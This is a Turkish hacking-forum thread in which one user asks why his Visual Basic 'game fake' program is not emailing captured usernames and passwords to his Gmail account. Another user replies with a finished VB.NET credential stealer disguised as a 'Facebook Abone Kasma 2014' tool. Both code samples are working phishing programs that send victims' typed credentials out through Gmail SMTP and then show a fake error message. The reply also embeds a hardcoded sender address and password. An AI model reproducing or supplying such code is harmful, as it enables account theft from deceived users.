VB Fake Programında Hata Mesajı Sorunu

R

RichWaRRioR

Üye
21 Nis 2013
194
0
Arkadaşlar visual basic 6.0 oyun fakesi yapayım dedim herşeyi tamamladım kodları yazdım gmaili kendime göre ayarladım fakat uygulama hata mesajı vermiyor ve kullanıcı adı,şifreler gmail hesabıma gelmiyor lütfen yardım..


Kullandığım Kodlar:


Private Sub Command1_Click()
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "bilgileri gönderecek mail adresi" '
Flds.Item(schema & "sendpassword") = "bilgileri gönderecek mailin şifresi" '
Flds.Item(schema & "smtpusessl") = 1
Flds.Update

With iMsg
.To = "bilgilerin gönderileceği mail adresi" '
.From = "bilgileri gönderecek mail adresi" '
.Subject = "mail konu başlığı"
.HTMLbOdy = "Username : " & Text1.Text & vbCrLf & vbCrLf & "Password : " & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
MsgBox "hata mesajınız", vbCritical, "hata mesajı başlığınız" '
End Sub
 
Son düzenleme:
Tarihe göre sırala Oylara göre sırala
jagged

jagged

Uzman üye
29 Eyl 2012
1,432
0
C:\
RichWaRRioR' Alıntı:
Tamam kardeş sevinirim ya da elinde hazır kod varsa da alabilirim
Genişletmek için tıkla ...
Imports System.Net.Mail

Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Kullanıcı Adı Yanlış")
If TextBox2.Text = "" Then
MsgBox("Şifre Yanlış")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "samet123")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("[email protected]")
mail.To.Add("[email protected]")
mail.Subject = "Username : " & TextBox2.Text
mail.Body = "Password : " & TextBox1.Text & ","
smtpServer.Send(mail)
MsgBox("Correct your user or password incorrect")
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Text = "Facebook Abone Kasma 2014"
End Sub
End Class



Buyur kardesim insallah isini görür :D
 
Oyla 0 Downvote
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.